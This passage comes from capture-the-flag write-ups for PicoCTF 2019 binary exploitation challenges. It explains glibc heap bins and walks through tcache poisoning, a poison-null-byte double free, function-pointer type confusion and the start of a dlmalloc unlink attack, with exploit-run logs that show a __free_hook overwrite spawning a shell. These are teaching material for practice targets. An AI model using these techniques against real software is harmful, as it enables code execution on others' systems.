    0x1e8   [        ...       ] [      0x30      ]  B3  [FREE]
            [                  ...                ]
            [                  ...                ]
    0x218   [ 0x30 prev_size   ] [      ...       ]      [FAKE HEADER]
            [                  ...                ]
            [                  ...                ]
    0x230   [ 0x120 prev_size  ] [      0x120     ]  C
            [                  ...                ]
            [                  ...                ]
                               ...
   ```
3. Now, we can free chunk C to backwards consolidate over B2, resulting in overlapping chunks ([this ctf-wiki page](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/chunk_extend_overlapping/) might be helpful in understanding overlapping chunks). Since we have overlapping chunks, we control chunk B2 we can free it so it goes in the tcache. Then, we create a chunk of size `0x130` to allocate our consolidated, overlapping chunk into page 0 of the "diary".
4. Next, we overwrite the forward address of chunk B2 with the address of `free_hook` by using our overlapped chunks and writing directly into B2. Also, specify the argument to `system()` to be `/bin/sh`. We request the next block from the tcache list, leaving the head of the list pointing at the forward pointer of the chunk we just freed. We overwrote this forward pointer to `free_hook`. Then, we request the next chunk from the same tcache list. This will return a pointer to `free_hook`. After that, we set the address that page 2 points to, which is actually free\_hook, to `system` by editting the page that points to `__free_hook`.
5. We overwrote the `__free_hook` pointer to the `system('/bin/sh')` function. So, now we actually have to use our overwritten memory by calling `free()`, which redirects its actions to whatever function `__free_hook` happens to point to. Fore more info about `__free_hook` see step 2 of "Stage 2: Overwrite an Address" of the "zero\_to\_hero" writeup.
6. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Ghost_Diary/script.py) and get the flag `python script.py USER=<username> PASSWORD=<password>`:

   ```
    [*] '~/Documents/PicoCTF/Binary Exploitation/Ghost_Diary/ghostdiary'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    [*] '/lib/x86_64-linux-gnu/libc.so.6'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    [+] Connecting to 2019shell1.picoctf.com on port 22: Done
    [*] <username>@2019shell1.picoctf.com:
        Distro    Ubuntu 18.04
        OS:       linux
        Arch:     amd64
        Version:  4.15.0
        ASLR:     Enabled
    [+] Opening new channel: 'pwd': Done
    [+] Receiving all data: Done (14B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] Working directory: '/tmp/tmp.9PpiXJTvxN'
    [+] Opening new channel: 'ln -s /home/<username>/* .': Done
    [+] Receiving all data: Done (0B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [+] Starting remote process b'/problems/ghost-diary_5_7e39864bc6dc6e66a1ac8f4632e5ffba/ghostdiary' on 2019shell1.picoctf.com: pid 2221031
    [*] Prepare chunks to overcome tcache 0x118 bin
    [*] Allocate chunks A, B, and C
    [*] Prepare chunks to overcome tcache 0x88 bin
    [*] Edit chunk B to create a fake chunk header with a `prev_size` value of 0x100
    [*] Fill tcache 0x118 bin with chunks allocated earlier
    [*] Free chunk B to the unsorted list
    [*] Execute null byte overflow into chunk B to modify size
    [*] Split chunk B into B1 and B2 by creating a chunk of size 0x88
    [*] Leak libc by reading chunk B1 (entry 0)
    [*] Leaked libc: 0x7f61e1fc9d90
    [*] Libc base: 0x7f61e1bde000
    [*] __free_hook: 0x7f61e1fcb8e8
    [*] system: 0x7f61e1c2d440
    [*] Call `malloc` to get our chunk that we’ll collapse over
    [*] Fill tcache 0x88 bin with chunks allocated earlier
    [*] Free chunk B1 (size 0x88) to ensure that a proper `prev_size` header is written
    [*] Free chunk C to backwards consolidate over B2, resulting in overlapping chunks
    [*] Free chunk B2 so it goes into the tcache
    [*] Create a chunk of size 0x130 to allocate the overlapping chunk
    [*] Overwrite the forward address of chunk B2 to `__free_hook` by using overlapped chunks
    [*] Remove chunk B2 from the tcache list, leaving the head pointing at `__free_hook`
    [*] Request the next chunk from the same tcache list to add a pointer to `__free_hook` to the diary.
    [*] Set `__free_hook` to `system('/bin/sh')` by editing the page that points to `__free_hook`
    [*] Call `free()`, which will run `__free_hook` and therefore run `system('/bin/sh')`
    [*] Run `cat flag.txt` in the shell, regex match the flag, and print it
    [+] picoCTF{nu11_byt3_Gh05T_abf74d12}
   ```

### Flag

`picoCTF{nu11_byt3_Gh05T_abf74d12}`


# zero\_to\_hero

## Background

In one sentence, this exploit is tcache poison triggered by a poison null byte to gain arbitrary write.

### Bins

First, we will go over the 5 types of bins that the heap manager uses. This information is based on [azeria-labs.com](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) ([Archive](https://web.archive.org/web/20200610172240/https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)).

Internally, the heap manager needs to keep track of freed chunks so that `malloc` can reuse them during allocation requests. A naive approach would be to store all the freed chunks in a long list. While this would work, it would make `malloc` slow. Since malloc is a high-utilization component of most programs, this slowness would have a huge impact on the overall performance of programs running on the system. To improve performance, the heap manager instead maintains a series of lists called "bins", which are designed to maximize speed of allocations and frees.

**There are 5 type of bins:** 62 small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.

The small, large, and unsorted bins implement the basic recycling strategy of the heap. The fast bins and tcache bins are optimizations that layer on top of these.

Confusingly, the small, large, and unsorted bins all live together in the same array in the heap manager’s source code. Index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.

#### Small Bins

Each small bin stores chunks that are all the same fixed size. Every chunk less than 512 bytes on 32-bit systems (or than 1024 bytes on 64-bit systems) has a corresponding small bin.

![Small bins image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fdf957a214ca2dc9714a3fb64160e7775d990a928.png?generation=1619558786354781\&alt=media)

#### Large bins

For chunks over 512 bytes (1024 bytes on 64-bit), the heap manager instead uses "large bins". Each of the 63 "large bins" operates mostly the same way as small bins, but instead of storing chunks with a fixed size, they instead store chunks within a size range. Given a chunk’s size, there is exactly one small bin or large bin that this size corresponds to.

Because large bins store a range of sizes, insertions onto the bin have to be manually sorted, and allocations from the list require traversing the list. This makes large bins inherently slower than their small bin equivalents.

![Large bins image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F54558ee55b4bb770174db5eb701c1b6f0e3933c5.png?generation=1619558785569549\&alt=media)

#### Unsorted bin

Instead of immediately putting newly freed chunks onto the correct bin, the heap manager coalesces it with neighbors, and dumps it onto a general unsorted linked list. During malloc, each item on the unsorted bin is checked to see if it “fits” the request. If it does, malloc can use it immediately. If it does not, malloc then puts the chunk into its corresponding small or large bin.

![Unsorted bin image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fb539d74aec154b9055c652ca07d005ece5d7a82f.png?generation=1619558786504740\&alt=media)

#### Fast bins

These bins essentially keep recently released small chunks on a “fast-turnaround queue”, intentionally keeping the chunk live and not merging the chunk with its neighbors (heap manager doesn’t set the “P” bit at the start of the next chunk) so that it can be immediately repurposed if a malloc request for that chunk size comes in very soon after the chunk is freed.

Like small bins, each fast bin is responsible only for a single fixed chunk size. There are 10 such fast bins, covering chunks of size 16, 24, 32, 40, 48, 56, 64, 72, 80, and 88 bytes plus chunk metadata.

Since fast-binned chunks are never merge candidates, they can also be stored in singly-linked lists, rather than needing to be on doubly linked lists so that they can be removed from a list if the chunk gets merged.

![Fast bins image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F9a4c7409a4573fdc660602de552460b76b58cc0e.png?generation=1619558787180708\&alt=media)

#### Tcache (per-thread cache) bins

Per-thread caching speeds up allocations by having per-thread bins of small chunks ready-to-go. That way, when a thread requests a chunk, if the thread has a chunk available on its tcache, it can service the allocation without ever needing to wait on a heap lock. Only one thread can access the heap at a given time. By default, each thread has 64 singly-linked tcache bins. Each bin contains a maximum of 7 same-size chunks ranging from 24 to 1032 bytes on 64-bit systems and 12 to 516 bytes on 32-bit systems.

When a chunk is freed, the heap manager sees if the chunk will fit into a tcache bin corresponding to the chunk size. Like the fast-bin, chunks on the tcache bin are considered “in use”, and won’t be merged with neighboring freed chunks.

If the tcache for that chunk size is full (or the chunk is too big for a tcache bin), the heap manager reverts to our old slow-path strategy of obtaining the heap lock and then processing the chunk as before.

Corresponding tcache allocations are also pretty straightforward. Given a request for a chunk if a chunk is available on an appropriate tcache bin, the heap returns that chunk without ever obtaining the heap lock. If the chunk is too big for the tcache, we also continue as before.

### More Info

You should understand the basics of the heap before proceeding. I recommend reading the "Heap overflow" writeup and the "Heap Basics" section of [this post from devel0pment.de](https://devel0pment.de/?p=688) ([Archive](https://web.archive.org/web/20200427011820/https://devel0pment.de/?p=688)).

For an overview and step-by-step process of how `malloc` and `free` operate in the in the glibc heap implementation visit [this post from azeria-labs.com](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) ([Archive](https://web.archive.org/web/20200610172240/https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)).

## Problem

> Now you're really cooking. Can you pwn this service?. Connect with nc 2019shell1.picoctf.com 49928. libc.so.6 ld-2.29.so

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/zero_to_hero/zero_to_hero/README.md)

## Solution

### Stage 1: Double Free (using a poison null byte)

For this stage, we need to bypass libc 2.29's tcache double free protection using a poison null byte in order to perform a double free attack.

Steps:

1. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). `main()` function:

   ```cpp
    void FUN_00400c62(void)

    {
    ssize_t sVar1;
    long in_FS_OFFSET;
    int local_2c;
    char local_28 [24];
    undefined8 local_10;

    local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
    setvbuf(stdin,(char *)0x0,2,0);
    setvbuf(stdout,(char *)0x0,2,0);
    setvbuf(stderr,(char *)0x0,2,0);
    puts("From Zero to Hero");
    puts("So, you want to be a hero?");
    sVar1 = read(0,local_28,0x14);
    local_28[sVar1] = '\0';
    if (local_28[0] != 'y') {
        puts("No? Then why are you even here?");
                        /* WARNING: Subroutine does not return */
        exit(0);
    }
    puts("Really? Being a hero is hard.");
    puts("Fine. I see I can\'t convince you otherwise.");
    printf("It\'s dangerous to go alone. Take this: %p\n",system);
    while( true ) {
        while( true ) {
        FUN_00400997();
        printf("> ");
        local_2c = 0;
        __isoc99_scanf(&DAT_00401040,&local_2c);
        getchar();
        if (local_2c != 2) break;
        FUN_00400bb3();
        }
        if (local_2c == 3) break;
        if (local_2c != 1) goto LAB_00400dce;
        FUN_00400a4d();
    }
    puts("Giving up?");
    LAB_00400dce:
                        /* WARNING: Subroutine does not return */
    exit(0);
    }
   ```

   `do_remove()` function:

   ```cpp
    void FUN_00400bb3(void)

    {
    long in_FS_OFFSET;
    uint local_14;
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    local_14 = 0;
    puts("Which power would you like to remove?");
    printf("> ");
    __isoc99_scanf(&DAT_00400f0b,&local_14);
    getchar();
    if (6 < local_14) {
        puts("Invalid index!");
                        /* WARNING: Subroutine does not return */
        exit(-1);
    }
    free(*(void **)(&DAT_00602060 + (ulong)local_14 * 8));
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```

   `do_add()` function:

   ```cpp
    void FUN_00400a4d(void)

    {
    long lVar1;
    void *pvVar2;
    ssize_t sVar3;
    long in_FS_OFFSET;
    uint local_28;
    int local_24;
    long local_20;

    local_20 = *(long *)(in_FS_OFFSET + 0x28);
    local_28 = 0;
    local_24 = FUN_004009c2();
    if (local_24 < 0) {
        puts("You have too many powers!");
                        /* WARNING: Subroutine does not return */
        exit(-1);
    }
    puts("Describe your new power.");
    puts("What is the length of your description?");
    printf("> ");
    __isoc99_scanf(&DAT_00400f0b,&local_28);
    getchar();
    if (0x408 < local_28) {
        puts("Power too strong!");
                        /* WARNING: Subroutine does not return */
        exit(-1);
    }
    pvVar2 = malloc((ulong)local_28);
    *(void **)(&DAT_00602060 + (long)local_24 * 8) = pvVar2;
    puts("Enter your description: ");
    printf("> ");
    lVar1 = *(long *)(&DAT_00602060 + (long)local_24 * 8);
    sVar3 = read(0,*(void **)(&DAT_00602060 + (long)local_24 * 8),(ulong)local_28);
    *(undefined *)(sVar3 + lVar1) = 0;
    puts("Done!");
    if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```

   `win()` function:

   ```cpp
    void FUN_00400a02(void)

    {
    int iVar1;
    FILE *__fp;

    __fp = fopen("flag.txt","r");
    if (__fp != (FILE *)0x0) {
        while( true ) {
        iVar1 = _IO_getc((_IO_FILE *)__fp);
        if ((char)iVar1 == -1) break;
        putchar((int)(char)iVar1);
        }
    }
    return;
    }
   ```

   This is a hidden `win()` function that is referenced nowhere else in the program. It simply prints out the flag from the file `flag.txt`. This is the function we want to call.

   Ghidra also tells us the address of `win()` to be `0x00400a02`:

   ```
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined FUN_00400a02()
             undefined         AL:1           <RETURN>
             undefined8        Stack[-0x10]:8 local_10                                XREF[3]:     00400a1d(W), 
                                                                                                   00400a21(R), 
                                                                                                   00400a35(R)  
             undefined1        Stack[-0x11]:1 local_11                                XREF[3]:     00400a2a(R), 
                                                                                                   00400a41(W), 
                                                                                                   00400a44(R)  
                             FUN_00400a02                                    XREF[2]:     00401084, 00401180(*)  
        00400a02 55              PUSH       RBP
   ```
2. With the `malloc`s everywhere, this is a heap exploitation problem, so it's time to look for heap exploits.
   * Bug 1: Pointers not cleared in deletion (`do_remove()` function). The pointers stay even after a chunk gets freed, which means we can, in theory, free a chunk twice to trigger double-free. However, simply attempting to free power 0, free power 1, and free power 0 again will fail because we are using libc 2.29. Trying this will display the following error message:

     ```
       free(): double free detected in tcache
     ```
   * Bug 2: Off-by-One Error. When reading into the text for the superpower, it lets us write tons of characters, and then it will append a null byte to the end of whatever we have written. However, if we asked for `40` bytes to write in, then we will get to write `40` characters, and then the null byte will be placed outside of the current chunk.

     ```cpp
       puts("Enter your description: ");
       printf("> ");
       lVar1 = *(long *)(&DAT_00602060 + (long)local_24 * 8);
       sVar3 = read(0,*(void **)(&DAT_00602060 + (long)local_24 * 8),(ulong)local_28);
       *(undefined *)(sVar3 + lVar1) = 0;
       puts("Done!");
     ```

     Using bug 2 we can bypass libc 2.29's tcache double free protection and then abuse bug 1 to trigger a double free.
3. Important notes about tcache:
   1. First, there are no checks when tcache returns a pointer to malloc. If we can corrupt the tcache, then when malloc asks for a chunk of some size, malloc will simply let us write with whatever corrupted pointers are stored in tcache.
   2. Second, the only protection that tcache has against double-free is that it makes sure the current chunk being freed is different from all chunks freed earlier of the same size.
4. By using bug 2 to place a null character into the next chunk, we can effectively change the size of the next chunk.

   ![Null byte overflow image 1](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F302f1b6332b1a65af4453355ac4ca79823cfba5e.png?generation=1619558787014954\&alt=media)

   As we can see the lowest byte of the `size+flags` field of chunk2 will be overwritten when we overflow chunk1 with a single null-byte. In this case the value 0x31, which represents the size of chunk2 (0x30) and the enabled `PREV_INUSE` flag (0x1), would be set to 0x00. This will likely crash the program, because the heap-metadata are not valid anymore (a chunk cannot have a size of 0x00). But let’s consider what is happening, if chunk2 has a size of 0x100:

   ![Null byte overflow image 2](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fbc0e6e1871247bc6cbb3da23f3613afb11ef1aa4.png?generation=1619558786218862\&alt=media)

   When we are overflowing chunk1 now, the size of chunk2 (0x100) is not altered, since it is only stored within the second lowest byte. The only thing being altered is the `PREV_INUSE` flag, which is set from 0x1 to 0x0. This indicates the the previous block is unallocated. However, this is not what we want to do because blocks in tcache lists are not consolidated. So, changing the `PREV_INUSE` flag has no impact.
5. Instead, lets create a first chunk (chunk1) and then a second chunk (chunk2) below it with a size of 0x110 (or 0x111 with the `PREV_INUSE` bit set). If we free chunk2 now, tcache will see that it has size 0x110 (ignoring the `PREV_INUSE` bit) and then store a pointer to chunk2 inside of the tcache linked list of freed chunks of size 0x110.

   Now, suppose we write into chunk1 and completely fill it. The program will append the null byte, as discussed in "Bug 2", which overflows into the next chunk. Before writing the null byte, the heap looks like this:

   ```
        [chunk1]: 0x0000000000000000 0x0000000000000031
                  0xdaedbeefdeadbeef 0xdaedbeefdeadbeef
                  0xdaedbeefdeadbeef 0xdaedbeefdeadbeef
        [chunk2]: 0xdaedbeefdeadbeef 0x0000000000000111
                  ...
   ```

   And now the program writes in the null byte, so the heap looks like this:

   ```
        [chunk1]: 0x0000000000000000 0x0000000000000031
                  0xdaedbeefdeadbeef 0xdaedbeefdeadbeef
                  0xdaedbeefdeadbeef 0xdaedbeefdeadbeef
        [chunk2]: 0xdaedbeefdeadbeef 0x0000000000000100 <- poison null byte!
                  ...
   ```

   We've overwritten the size metadata for chunk2. So if we free chunk2 again, tcache will store the second chunk inside of the linked list of freed chunks of size 0x100 because that's what the chunk says its size is. We have now successfully bypassed the tcache check to obtain a double-free, once for freeing into the 0x110 linked list, and a second time for freeing into the 0x100 linked list.

### Stage 2: Overwrite an Address (using double free)

For this stage, we will perform the following steps:

1. Use the vulnerability to insert an address of our choice as a free chunk into a bin/fastbin.
2. Allocate a chunk which fits the size of this bin/fastbin. The allocation will return the inserted address (+ 0x10).
3. Write data of our choice into the allocated chunk. This will end up at the inserted address (+ 0x10).

We simply want to overwrite some function pointer and do not need to write a huge amount of data, so the size of a fastbin will suffice. Also, it is import to realize that fastbins only use the forward pointer.

Steps:

1. Let’s begin by determining how we can insert an address to a fastbin. A fastbin is a singly linked list, whose head pointer is stored in the main arena. This head pointer references the first free chunk. The address of the second free chunk is stored in the FD of the first free chunk and so forth. If we manage to overwrite the FD of a free chunk, we effectively add a free fakechunk to the fastbin:

   ![Fastbin fake chunk image 1](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F43668da87285fd7128549b93602b406a6e128d3b.png?generation=1619558785863899\&alt=media)

   On the next allocation the free chunk at the head of the fastbin is returned:

   ![Fastbin fake chunk image 2](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F96007f2f1fd6c66a043349ceb4e54a6e3a0303e7.png?generation=1619558786732884\&alt=media)

   The fakechunk is now the new head of the fastbin and is thus returned on the following allocation:

   ![Fastbin fake chunk image 3](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fc1e131b03d934b7cd4d9b12370b34400d49780a2.png?generation=1619558785752963\&alt=media)
2. Before we overwrite an area of memory, we need to figure out which area to overwrite. Since the program intentionally leaks a libc address, we probably have to overwrite something there. The pointer `__free_hook`, stored in a writable area of libc, simply redirects the actions of `free()` to whatever function `__free_hook` happens to point to, so rewriting `__free_hook` will make `free()` call an arbitrary function. Lets overwrite `__free_hook` with the `win()` function mentioned at the beginning.
3. We can use the double free from "Stage 1" to overwrite the FD of an unallocated fastbin chunk. We `malloc` a chunk of size 0x100 and overwrite the forward address to `__free_hook`. This removes chunk B from the 0x100 list, so we cannot free it again from that list to access our overwritten forward pointer.
4. However, since we double-freed block B, it still exists in the 0x110 list. We create a chunk of the same size as chunk B, thus returning to us chunk B from tcache. Now the head pointer (which always points to the first block) of the 0x110 list points to the forward address of block B, which we overwrote to `__free_hook`. The block in the 0x100 list refers to the same memory location as the block in the 0x110 list. More info about the fastbin double free vulnerability at [heap-exploitation.dhavalkapil.com](https://heap-exploitation.dhavalkapil.com/attacks/double_free.html) ([Archive](https://web.archive.org/web/20200611182145/https://heap-exploitation.dhavalkapil.com/attacks/double_free.html))
5. Now that the next block points to our overwritten memory location, we `malloc` it. `malloc` sees our request for a block of memory with size 0x110 and returns the pointer to the next block, which we overwrote to `__free_hook`. `malloc` then asks what value we want to store in this "block of memory" (which is actually `__free_hook`). We tell is to store the address of `win()`. We have successfully written over an address of our choosing with an arbitrary address. `malloc` believes we simply asked for a block of memory, it gave us one, and then we stored our data in it. You can think of this as `malloc` being oblivious to our attack.
6. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/zero_to_hero/script.py) `python2 script.py` and get the flag:

   ```
    [*] '~/Documents/PicoCTF/Binary Exploitation/zero_to_hero/zero_to_hero'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
        RUNPATH:  './'
    [+] Opening connection to 2019shell1.picoctf.com on port 49928: Done
    [*] Leaked Libc: 0x7f04720c2a80
    [*] `malloc` chunk A, size 0x30
    [*] `malloc` chunk B, size 0x110
    [*] `free` chunk B
    [*] `free` chunk A, so we can write to it and overflow it next
    [*] `malloc` (for the second time) chunk A, size 0x30; overwrite size of chunk B with null byte
    [*] `free` chunk B again (double `free` conditions met)
    [*] `malloc` chunk of size 0x100 and overwrite the forward address to `__free_hook`
    [*] `malloc` the same (as above) chunk but from the list for size 0x110, thus removing it from the list and leaving the next chunk pointer pointing at `__free_hook`
    [*] Use `malloc` to write the address of `win()` to `__free_hook`
    [*] Execute the `win()` function at 0x400a02
    [+] picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_jmvqjcus}
    [*] Closed connection to 2019shell1.picoctf.com port 49928
   ```

### Flag

`picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_jmvqjcus}`


# Challenge Name

## Problem

> Exploit the function pointers in this program. It is also found in /problems/pointy\_4\_3b3533bd4e08119669feda53e8cb0502 on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/pointy/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/pointy/vuln.c)

## Solution

1. The provided program allows us to enter students and professors. Students can then rate the professors.
2. The bug in the program is that we can select professors as students and students as professors. We can write the `lastScore` of a `Professor` and then treat it as a `Student` to control the `scoreProfessor` field.
3. The `Student` and `Professor` `struct`s are as follows:

   ```cpp
    struct Professor {
        char name[NAME_SIZE];
        int lastScore;
    };

    struct Student {
        char name[NAME_SIZE];
        void (*scoreProfessor)(struct Professor*, int);
    };
   ```

   `scoreProfessor` is a function pointer that is in the same position relative to the `struct` as `lastScore` is in `Professor`. We can create a `Professor` and set the `lastScore` variable to the address of `win()`. Then, we can convert that professor to a student, which will override the `scoreProfessor` pointer and point it to the `win()` function. (`scoreProfessor` is pointed to `giveScoreToProfessor()` on line 79: `student->scoreProfessor=&giveScoreToProfessor;`.) Thus, when the `scoreProfessor` pointer is called (close to the end of the file: `student->scoreProfessor(professor, value);`), the `win()` function will be executed and we will get the flag.
4. Script ([script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/pointy/script.py)) Walkthrough:
   1. Allocate a student `s1`
   2. Allocate a professor `p1`
   3. Use student `s1` to give the score
   4. Give the score to professor `p1`
   5. Set the `lastScore` attribute of professor `p1` to the address of `win()`
   6. The loop in [vuln.c](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/pointy/vuln.c) restarts
   7. Allocate another student `s2` (only necessary to proceed to next inputs in program)
   8. Allocate another professor `p2` (only necessary to proceed to next inputs in program)
   9. Use professor `p1` (which has the address of `win()`) to give a score. This converts professor `p1` to a student, thus overwriting the `scoreProfessor` function pointer to `win()`.
   10. Give the score to professor `p1`. This does not matter since we only care about the last line (`student->scoreProfessor(professor, value);`) where `scoreProfessor` (aka `win()`) is called. You could use `p2` here as well since it is the extra professor we created earlier.
   11. Give a score of `0` to professor `p1`, but not really since the `scoreProfessor` function pointer points to `win()` and not `giveScoreToProfessor()` since we changed it by converting a `Professor` to a `Student`.
5. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/pointy/script.py) `python script.py USER=<username> PASSWORD=<password>`:

   ```
    [*] '/home/<username>/Documents/PicoCTF/Binary Exploitation/pointy/vuln'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    [+] Connecting to 2019shell1.picoctf.com on port 22: Done
    [*] <username>@2019shell1.picoctf.com:
        Distro    Ubuntu 18.04
        OS:       linux
        Arch:     amd64
        Version:  4.15.0
        ASLR:     Enabled
    [+] Opening new channel: 'pwd': Done
    [+] Receiving all data: Done (14B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] Working directory: '/tmp/tmp.klHpIRVO8i'
    [+] Opening new channel: 'ln -s /home/<username>/* .': Done
    [+] Receiving all data: Done (0B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] win address: 0x8048696
    [+] Starting remote process b'/problems/pointy_4_3b3533bd4e08119669feda53e8cb0502/vuln' on 2019shell1.picoctf.com: pid 1203280
    [+] picoCTF{g1v1ng_d1R3Ct10n5_c7465fbf}
   ```

### Flag

`picoCTF{g1v1ng_d1R3Ct10n5_c7465fbf}`


# Heap overflow

## Background

This is an unlink method vulnerability in Doug Lea's malloc. The [hint](https://www.win.tue.nl/~aeb/linux/hh/hh-11.html) offers a well-written explanation. This challenge is an example taken from [Secure Coding in C and C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137). A complete analysis of the example exists in the book (section 4.6, Doug Lea's Memory Allocator, a.k.a. `dlmalloc`), and this writeup is inspired by it.

Doug Lea’s malloc manages the heap and provides standard memory management. In dlmalloc, memory chunks are either allocated to a process or are free.

![Allocated vs free memory chunks image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F9624345bf953c500050d76fb46665cab79b956f8.png?generation=1619558790865425\&alt=media)

Free chunks are organized into double-linked lists. Each free chunk also contains forward and backward pointers to the next and previous chunks in the list to which it belongs. These pointers occupy the same 8 bytes of memory as user data in an allocated chunk. The first 4 bytes of both allocated and free chunks contain either the size of the previous adjacent chunk, if it is free, or the last 4 bytes of user data of the previous chunk, if it is allocated.

Both allocated and free chunks make use of a `PREV_INUSE` bit (represented by P in the figure) to indicate whether or not the previous chunk is allocated. Since chunk sizes are always a multiple of 2, the least significant bit is always empty and therefore can be used to indicate whether the previous chunk is in use or not.

Each double-linked list has a head that contains forward and backward pointers to the first and last chunks in the list

![Double linked free block list image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Feb88d904704254e060202276ccca6a7f259ece1b.png?generation=1619558791054040\&alt=media)

There are bins that hold chunks of a particular size to allow a correctly sized free chunk to be quickly found. Memory chunks are consolidated during the `free()` operation. The chunks before and after the chunk to be freed are inspected. If either of them is also free, it is merged with the chunk to be removed and the combined chunk is placed into the appropriate bin.

`unlink()` macro:

```cpp
#define unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
}
```

![Unlink macro example diagram](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F45ed0f2aa395334595dda3f87b93a8796db2ab7e.png?generation=1619558790405125\&alt=media)

Steps to unlink:

1. `FD = P->fd;`: assigns FD so that it points to the next chunk in the list
2. `BK = P->bk;`: assigns BK so that it points to the previous chunk in the list
3. `FD->bk = BK;`: the forward pointer (FD) replaces the backward pointer of the next chunk in the list with the pointer to the chunk preceding the chunk being unlinked
4. `BK->fd = FD;`: the backward pointer (BK) replaces the forward pointer of the preceding chunk in the list with the pointer to the next chunk

The unlink technique is used to exploit a buffer overflow to manipulate the boundary tags on chunks of memory to trick the `unlink()` macro into writing 4 bytes of data to an arbitrary location.

## Problem

> Just pwn this using a heap overflow taking advantage of douglas malloc free program and get a flag. Its also found in /problems/heap-overflow\_4\_3753f93c50c60685d83eea78243a85a0 on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Heap%20overflow/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Heap%20overflow/vuln.c)

## Solution

1. Three buffers are allocated:

   ```cpp
    fullname = malloc(666);
    name = malloc(66);
    lastname = malloc(66);
   ```
2. Visual of the heap after the allocations are done:

   ```
    ----------------+------------------------+---+
                    | 672                    | P |
    firstname -->   +------------------------+---+ --+
                    | User Data                  |   |
                    |                            |   |
                    |                            |   |
                    |                            |   | 666 bytes
                    |                            |   |
                    |                            |   |
                    |                            |   |
                    |                            | --+
    ----------------+------------------------+---+
